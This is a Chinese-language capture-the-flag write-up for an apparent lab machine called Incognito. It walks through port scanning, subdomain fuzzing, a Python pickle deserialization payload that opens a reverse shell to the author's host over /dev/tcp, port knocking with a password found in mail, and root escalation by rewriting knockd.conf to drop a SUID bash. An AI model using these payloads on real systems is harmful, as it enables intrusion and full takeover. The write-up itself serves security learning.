端口扫描

sudo nmap --min-rate 10000 -p- 10.10.187.188
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-02 14:35 UTC
Nmap scan report for 10.10.187.188
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 12.08 seconds
sudo nmap -sT -sV -sC -O -p22,80 10.10.187.188
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-02 14:36 UTC
Nmap scan report for 10.10.187.188
Host is up (0.16s latency).

PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Incognito
|_http-server-header: Apache/2.4.29 (Ubuntu)
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.6.X|3.X (88%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:3.2
Aggressive OS guesses: Linux 2.6.32 (88%), HP P2000 G3 NAS device (85%), Linux 3.2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.57 seconds

Web(python反序列化)

看上去是一个门户网站,在最右下角找到incognito.com,添加进hosts,扫一下子域名

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://incognito.com' -H 'HOST:FUZZ.incognito.com' -fs 20637

扫到一个dev,添加进hosts

feroxbuster --url=http://dev.incognito.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

找到一个/secret/upload/,可以上传文件,但是访问了一下,不知道上传的目录是什么。

回到之前的门户网站,最上面有一个Gameing rate键可以切换,抓个包看看,发现实际上是对一个.pkl文件发送POST请求来查看这个文件。稍微了解了下这个文件

.pkl 是 Python 中用于序列化(serialization)和反序列化(deserialization)对象的文件扩展名。这个扩展名通常与 Python 的标准库模块 `pickle` 相关联。`pickle` 模块允许将 Python 对象转换为字节流,以便将其保存到文件或通过网络传输,然后可以从字节流中重新构建原始对象。

这种序列化的过程对于保存和恢复复杂的数据结构,如字典、列表、类实例等,是很有用的。`.pkl` 文件包含了被序列化后的对象的二进制表示,因此可以在需要时重新加载为原始的 Python 对象。

以下是一个简单的示例,演示了如何使用 `pickle` 模块将一个字典对象保存到 `.pkl` 文件中:

​```
pythonCopy codeimport pickle

# 一个示例字典
data = {'name': 'John', 'age': 30, 'city': 'New York'}

# 将字典对象保存到.pkl文件
with open('example.pkl', 'wb') as file:
pickle.dump(data, file)
​```

要加载(反序列化)`.pkl` 文件,可以使用以下代码:

​```
pythonCopy codeimport pickle

# 从.pkl文件加载字典对象
with open('example.pkl', 'rb') as file:
loaded_data = pickle.load(file)

print(loaded_data)
​```

这将输出原始字典对象:

​```
pythonCopy code
{'name': 'John', 'age': 30, 'city': 'New York'}
​```


是python反序列化的运用,贴一篇文章

https://frichetten.com/blog/escalating-deserialization-attacks-python/

import pickle, os

class SerializedPickle(object):
def __reduce__(self):
return(os.system,("bash -c '0<&134-;exec 134<>/dev/tcp/10.11.38.245/1234;sh <&134 >&134 2>&134'",))

pickle.dump(SerializedPickle(), open('shell.pkl','wb'))

进行序列化,写入一个反弹shell,并生成序列化的文件shell.pkl,上传并在burp抓包中更改文件访问来反序列化并触发命令

横向移动

发现有dev1和dev2两个用户,但是dev1我们没有权限去访问

比较扯淡的是dev2用户竟然不用密码,直接转移

此外,我们在端口扫描的时候扫不到ssh也就是22端口是否开放

在/var/mail找到一封邮件,得到了dev1的密码dc647eb65e6711e155375218212b3964,和knock的提示

找到/etc/knockd.conf文件,原来是openssh服务被隐藏了,需要knock指令来打开(应该是类似密码之类的来敲开这个端口吧233)

kali中

knock 10.10.187.188 5020 6120 7340

ssh连接dev1

提权

sudo -l 发现我们能以root的身份初始化knock

我们可以更改knockd.conf文件,将command生成一个有SUID的bash

[option]
logfile = /var/log/knockd.log

[openSSH]
sequence = 5020,6120,7340
seq_timeout = 15
command = /bin/bash -c 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash;chmod +x /tmp/bash'
tcpflags = syn

[closeSSH]
sequence = 9000,8000,7000
seq_timeout = 15
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j REJECT
tcpflags = syn

sudo /etc/init.d/knockd restart

重启之后需要过段时间给他重启再knock不然可能还没重启就knock没有效果

碎碎念

稍微学到了python反序列化,还有knock的使用方式,还是挺有意思的房间233